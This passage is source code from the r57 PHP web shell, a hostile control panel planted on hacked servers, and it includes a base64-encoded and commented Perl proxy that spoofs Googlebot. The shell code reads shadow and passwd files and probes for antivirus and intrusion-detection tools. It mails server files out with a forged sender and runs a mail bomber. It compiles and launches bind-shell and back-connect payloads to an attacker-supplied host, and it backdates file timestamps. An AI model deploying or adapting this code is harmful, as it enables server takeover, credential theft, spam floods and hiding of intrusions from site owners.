1945DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
1946AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
1947GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
1948cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
1949BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
1950AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
1951TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
1952eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
1953oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
1954VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
1955CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
1956b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
19570ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
19589wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
1959CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
1960aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
1961gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
19629yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
1963
1964/* ?ST SATIRIN KIRILMI? HAL? */
1965/*
1966
1967#!usr/bin/perl
1968use Socket;
1969my $port = $ARGV[0]||31337;
1970my $protocol = getprotobyname('tcp');
1971my $my_addr = sockaddr_in ($port, INADDR_ANY);
1972socket (SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket(): $!";
1973setsockopt (SOCK, SOL_SOCKET, SO_REUSEADDR,1 ) or die "setsockopt(): $!";
1974bind (SOCK, $my_addr) or die "bind(): $!";
1975listen (SOCK, SOMAXCONN) or die "listen(): $!";
1976$SIG{'INT'} = sub {
1977close (SOCK);
1978exit;
1979};
1980while (1) {
1981next unless my $remote_addr = accept (SESSION, SOCK);
1982my ($fist, $method, $remote_host, $remote_port) = analyze_request();
1983if(open_connection (REMOTE, $remote_host, $remote_port) == 0) {
1984close (SESSION);
1985next;
1986}
1987print REMOTE $first;
1988print REMOTE "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
1989while (<SESSION>) {
1990next if (/Proxy-Connection:/ || /User-Agent:/);
1991print REMOTE $_;
1992last if ($_ =~ /^[\s\x00]*$/);
1993}
1994print REMOTE "\n";
1995$header = 1;
1996while (<REMOTE>) {
1997print SESSION $_;
1998if ($header) {
1999if ($header && $_ =~ /^[\s\x00]*$/) {
2000$header = 0;
2001}
2002}
2003}
2004close (REMOTE);
2005close (SESSION);
2006}
2007close (SOCK);
2008sub analyze_request {
2009my ($fist, $url, $remote_host, $remote_port, $method);
2010$first = <SESSION>;
2011$url = ($first =~ m|(http://\S+)|)[0];
2012($method, $remote_host, $remote_port) =
2013($first =~ m!(GET) http://([^/:]+):?(\d*)! );
2014if (!$remote_host) {
2015close(SESSION);
2016exit;
2017}
2018$remote_port = "http" unless ($remote_port);
2019$first =~ s/http:\/\/[^\/]+//;
2020return ($first, $method, $remote_host, $remote_port);
2021}
2022sub open_connection {
2023my ($host, $port) = @_[1,2];
2024my ($dest_addr, $cur);
2025if ($port !~ /^\d+$/) {
2026$port = (getservbyname($port, "tcp"))[2];
2027$port = 80 unless ($port);
2028}
2029$host = inet_aton ($host) or return 0;
2030$dest_addr = sockaddr_in ($port, $host);
2031socket ($_[0], AF_INET, SOCK_STREAM, $protocol) or die "socket() : $!";
2032connect ($_[0], $dest_addr) or return 0;
2033$cur = select($_[0]);
2034$| = 1;
2035select($cur);
2036return 1;
2037}
2038
2039*/
2040
2041
2042if($unix)
2043{
2044if(!isset($_COOKIE['uname'])) {$uname = ex('uname -a');setcookie('uname',$uname);}else {$uname = $_COOKIE['uname'];}
2045if(!isset($_COOKIE['id'])) {$id = ex('id');setcookie('id',$id);}else {$id = $_COOKIE['id'];}
2046if($safe_mode) {$sysctl = '-';}
2047else if(isset($_COOKIE['sysctl'])) {$sysctl = $_COOKIE['sysctl'];}
2048else
2049{
2050$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
2051if(empty($sysctl)) {$sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease');}
2052if(empty($sysctl)) {$sysctl = '-';}
2053setcookie('sysctl',$sysctl);
2054}
2055}
2056echo $head;
2057echo '</head>';
2058echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(2).'<font face=tahoma size=2><b>r57 shell '.$version.'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>';
2059echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
2060if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";}
2061if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";}
2062echo " Server IP: [<a href=".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]";
2063echo "<br>";
2064echo ws(2)."PHP version: <b>".@phpversion()."</b>";
2065$curl_on = @function_exists('curl_version');
2066echo ws(2);
2067echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
2068echo "</b>".ws(2);
2069echo "MySQL: <b>";
2070$mysql_on = @function_exists('mysql_connect');
2071if($mysql_on){
2072echo "<font color=green>ON</font>";}else {echo "<font color=red>Kapali</font>";}
2073echo "</b>".ws(2);
2074echo "MSSQL: <b>";
2075$mssql_on = @function_exists('mssql_connect');
2076if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2077echo "</b>".ws(2);
2078echo "PostgreSQL: <b>";
2079$pg_on = @function_exists('pg_connect');
2080if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2081echo "</b>".ws(2);
2082echo "Oracle: <b>";
2083$ora_on = @function_exists('ocilogon');
2084if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2085echo "</b><br>".ws(2);
2086echo "Safe_mode: <b>";
2087echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
2088echo "</b>".ws(2);
2089echo "Open_basedir: <b>";
2090if($open_basedir) {if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2091else {echo "<font color=red>NONE</font></b>";}
2092echo ws(2)."Safe_mode_exec_dir: <b>";
2093if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2094else {echo "<font color=red>ini_get disable!</font></b>";}
2095echo ws(2)."Safe_mode_include_dir: <b>";
2096if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2097else {echo "<font color=red>ini_get disable!</font></b>";}
2098echo "<br>".ws(2);
2099echo "Disable functions : <b>";$df='ini_get disable!';
2100if((@function_exists('ini_get')) &&(''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
2101$free = @diskfreespace($dir);
2102if (!$free) {$free = 0;}
2103$all = @disk_total_space($dir);
2104if (!$all) {$all = 0;}
2105echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
2106$ust='';
2107if($unix &&!$safe_mode){
2108if (which('gcc')) {$ust.="gcc,";}
2109if (which('cc')) {$ust.="cc,";}
2110if (which('ld')) {$ust.="ld,";}
2111if (which('php')) {$ust.="php,";}
2112if (which('perl')) {$ust.="perl,";}
2113if (which('python')) {$ust.="python,";}
2114if (which('ruby')) {$ust.="ruby,";}
2115if (which('make')) {$ust.="make,";}
2116if (which('tar')) {$ust.="tar,";}
2117if (which('nc')) {$ust.="netcat,";}
2118if (which('locate')) {$ust.="locate,";}
2119if (which('suidperl')) {$ust.="suidperl,";}
2120}
2121if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";}
2122if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";}
2123$ust='';
2124if($unix &&!$safe_mode){
2125if (which('kav')) {$ust.="kav,";}
2126if (which('nod32')) {$ust.="nod32,";}
2127if (which('bdcored')) {$ust.="bitdefender,";}
2128if (which('uvscan')) {$ust.="mcafee,";}
2129if (which('sav')) {$ust.="symantec,";}
2130if (which('drwebd')) {$ust="drwebd,";}
2131if (which('clamd')) {$ust.="clamd,";}
2132if (which('rkhunter')) {$ust.="rkhunter,";}
2133if (which('chkrootkit')) {$ust.="chkrootkit,";}
2134if (which('iptables')) {$ust.="iptables,";}
2135if (which('ipfw')) {$ust.="ipfw,";}
2136if (which('tripwire')) {$ust.="tripwire,";}
2137if (which('shieldcc')) {$ust.="stackshield,";}
2138if (which('portsentry')) {$ust.="portsentry,";}
2139if (which('snort')) {$ust.="snort,";}
2140if (which('ossec')) {$ust.="ossec,";}
2141if (which('lidsadm')) {$ust.="lidsadm,";}
2142if (which('tcplodg')) {$ust.="tcplodg,";}
2143if (which('tripwire')) {$ust.="tripwire,";}
2144if (which('sxid')) {$ust.="sxid,";}
2145if (which('logcheck')) {$ust.="logcheck,";}
2146if (which('logwatch')) {$ust.="logwatch,";}
2147}
2148if (@function_exists('apache_get_modules') &&@in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";}
2149if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";}
2150echo "<br>".ws(2)."</b>";
2151echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
2152echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
2153echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
2154echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
2155if(!$unix) {
2156echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
2157}else{
2158echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
2159echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
2160echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
2161echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
2162echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
2163}
2164echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
2165echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
2166if($unix &&!$safe_mode)
2167{
2168echo "<br>".ws(2)."</b>";
2169echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
2170echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
2171echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
2172echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
2173echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
2174echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
2175echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
2176echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
2177echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
2178echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
2179echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
2180echo "<br>".ws(2)."</b>";
2181echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
2182echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb;
2183echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
2184echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
2185echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
2186echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
2187echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
2188echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
2189echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
2190echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
2191echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
2192}
2193echo '</font></td></tr><table>
2194<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
2195<tr><td align=right width=100>';
2196echo $font;
2197if($unix){
2198echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
2199echo "</td><td>";
2200echo "<font face=Verdana size=-2 color=red><b>";
2201echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
2202echo ws(3).$sysctl."<br>";
2203echo ws(3).ex('echo $OSTYPE')."<br>";
2204echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
2205if(!empty($id)) {echo ws(3).$id."<br>";}
2206else if(@function_exists('posix_geteuid') &&@function_exists('posix_getegid') &&@function_exists('posix_getgrgid') &&@function_exists('posix_getpwuid'))
2207{
2208$euserinfo = @posix_getpwuid(@posix_geteuid());
2209$egroupinfo = @posix_getgrgid(@posix_getegid());
2210echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
2211}
2212else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
2213echo ws(3).$dir;
2214echo ws(3).'( '.perms(@fileperms($dir)).' )';
2215echo "</b></font>";
2216}
2217else
2218{
2219echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
2220echo "</td><td>";
2221echo "<font face=Verdana size=-2 color=red><b>";
2222echo ws(3).@substr(@php_uname(),0,120)."<br>";
2223echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
2224echo ws(3).@getenv("USERNAME")."<br>";
2225echo ws(3).$dir;
2226echo "<br></font>";
2227}
2228echo "</font>";
2229echo "</td></tr></table>";
2230if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail")
2231{
2232$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
2233err(6+$res);
2234$_POST['cmd']="";
2235}
2236if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_file"&&!empty($_POST['loc_file']))
2237{
2238if($file=@fopen($_POST['loc_file'],"r")){$filedump = @fread($file,@filesize($_POST['loc_file']));@fclose($file);}
2239else if ($file=readzlib($_POST['loc_file'])) {$filedump = $file;}else {err(1,$_POST['loc_file']);$_POST['cmd']="";}
2240if(isset($_POST['cmd']))
2241{
2242$filename = @basename($_POST['loc_file']);
2243$content_encoding=$mime_type='';
2244compress($filename,$filedump,$_POST['compress']);
2245$attach = array(
2246"name"=>$filename,
2247"type"=>$mime_type,
2248"content"=>$filedump
2249);
2250if(empty($_POST['subj'])) {$_POST['subj'] = 'file from r57';}
2251if(empty($_POST['from'])) {$_POST['from'] = 'billy@microsoft.com';}
2252$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
2253err(6+$res);
2254$_POST['cmd']="";
2255}
2256}
2257if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_bomber"&&!empty($_POST['mail_flood']) &&!empty($_POST['mail_size']))
2258{
2259for($h=1;$h<=$_POST['mail_flood'];$h++){
2260$res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
2261}
2262err(6+$res);
2263$_POST['cmd']="";
2264}
2265if(!empty($_POST['cmd']) &&$_POST['cmd'] == "find_text")
2266{
2267$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
2268}
2269if(!empty($_POST['cmd']) &&$_POST['cmd']=="ch_")
2270{
2271switch($_POST['what'])
2272{
2273case 'own':
2274@chown($_POST['param1'],$_POST['param2']);
2275break;
2276case 'grp':
2277@chgrp($_POST['param1'],$_POST['param2']);
2278break;
2279case 'mod':
2280@chmod($_POST['param1'],intval($_POST['param2'],8));
2281break;
2282}
2283$_POST['cmd']="";
2284}
2285if(!empty($_POST['cmd']) &&$_POST['cmd']=="mk")
2286{
2287switch($_POST['what'])
2288{
2289case 'file':
2290if($_POST['action'] == "create")
2291{
2292if(@file_exists($_POST['mk_name']) ||!$file=@fopen($_POST['mk_name'],"w")) {err(2,$_POST['mk_name']);$_POST['cmd']="";}
2293else {
2294@fclose($file);
2295$_POST['e_name'] = $_POST['mk_name'];
2296$_POST['cmd']="edit_file";
2297echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
2298}
2299}
2300else if($_POST['action'] == "delete")
2301{
2302if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
2303$_POST['cmd']="";
2304}
2305break;
2306case 'dir':
2307if($_POST['action'] == "create"){
2308if(@mkdir($_POST['mk_name']))
2309{
2310$_POST['cmd']="";
2311echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
2312}
2313else {err(2,$_POST['mk_name']);$_POST['cmd']="";}
2314}
2315else if($_POST['action'] == "delete"){
2316if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
2317$_POST['cmd']="";
2318}
2319break;
2320}
2321}
2322if(!empty($_POST['cmd']) &&$_POST['cmd']=="touch")
2323{
2324if(!$_POST['file_name_r'])
2325{
2326$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
2327$datar = @strtotime($datar);
2328@touch($_POST['file_name'],$datar,$datar);}
2329else{
2330@touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
2331}
2332$_POST['cmd']="";
2333}
2334if(!empty($_POST['cmd']) &&$_POST['cmd']=="edit_file"&&!empty($_POST['e_name']))
2335{
2336if(!$file=@fopen($_POST['e_name'],"r+")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);$only_read = 1;}
2337if($file=@fopen($_POST['e_name'],"r")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);}
2338else if ($file=readzlib($_POST['e_name'])) {$filedump = $file;$only_read = 1;}else {err(1,$_POST['e_name']);$_POST['cmd']="";}
2339if(isset($_POST['cmd']))
2340{
2341echo $table_up3;
2342echo $font;
2343echo "<form name=save_file method=post>";
2344echo ws(3)."<b>".$_POST['e_name']."</b>";
2345echo "<div align=center><textarea name=e_text cols=121 rows=24>";
2346echo @htmlspecialchars($filedump);
2347echo "</textarea>";
2348echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
2349echo "<input type=hidden name=dir value=".$dir.">";
2350echo "<input type=hidden name=cmd value=save_file>";
2351echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
2352echo "</div>";
2353echo "</font>";
2354echo "</form>";
2355echo "</td></tr></table>";
2356exit();
2357}
2358}
2359if(!empty($_POST['cmd']) &&$_POST['cmd']=="save_file")
2360{
2361$mtime = @filemtime($_POST['e_name']);
2362if((!$file=@fopen($_POST['e_name'],"w")) &&(!function_exists('file_put_contents'))) {err(0,$_POST['e_name']);}
2363else {
2364if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
2365@fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
2366@touch($_POST['e_name'],$mtime,$mtime);
2367$_POST['cmd']="";
2368echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
2369}
2370}
2371if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
2372{
2373cf("/tmp/prxpl",$prx_pl);
2374$p2=which("perl");
2375$blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
2376$_POST['cmd']="ps -aux | grep prxpl";
2377}
2378if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
2379{
2380cf("/tmp/bd.c",$port_bind_bd_c);
2381$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
2382@unlink("/tmp/bd.c");
2383$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
2384$_POST['cmd']="ps -aux | grep bd";
2385}
2386if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
2387{
2388cf("/tmp/bdpl",$port_bind_bd_pl);
2389$p2=which("perl");
2390$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
2391$_POST['cmd']="ps -aux | grep bdpl";
2392}
2393if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="Perl"))
2394{
2395cf("/tmp/back",$back_connect);
2396$p2=which("perl");
2397$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
2398$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
2399}
2400if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="C"))
2401{
2402cf("/tmp/back.c",$back_connect_c);
2403$blah = ex("gcc -o /tmp/backc /tmp/back.c");
2404@unlink("/tmp/back.c");
2405$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
2406$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
2407}
2408if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="Perl"))
2409{
2410cf("/tmp/dp",$datapipe_pl);
2411$p2=which("perl");
2412$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
2413$_POST['cmd']="ps -aux | grep dp";
2414}
2415if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="C"))
2416{
2417cf("/tmp/dpc.c",$datapipe_c);
2418$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
2419@unlink("/tmp/dpc.c");
2420$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
2421$_POST['cmd']="ps -aux | grep dpc";
2422}
2423if (!empty($_POST['alias']) &&isset($aliases[$_POST['alias']])) {$_POST['cmd'] = $aliases[$_POST['alias']];}
2424for($upl=0;$upl<=16;$upl++)
2425{
2426if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
2427if(!empty($_POST['new_name']) &&($upl==0)) {$nfn = $_POST['new_name'];}
2428else {$nfn = $HTTP_POST_FILES['userfile'.$upl]['name'];}
2429@move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
2430or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
2431}
2432}
2433if (!empty($_POST['with']) &&!empty($_POST['rem_file']) &&!empty($_POST['loc_file']))
2434{
2435switch($_POST['with'])
2436{
2437case 'fopen':
2438$datafile = @implode("",@file($_POST['rem_file']));
2439if($datafile)
2440{
2441$w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
2442if($w_file)
2443{
2444@fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
2445@fclose($w_file);
2446}
2447}
2448$_POST['cmd'] = '';
2449break;
2450case 'wget':
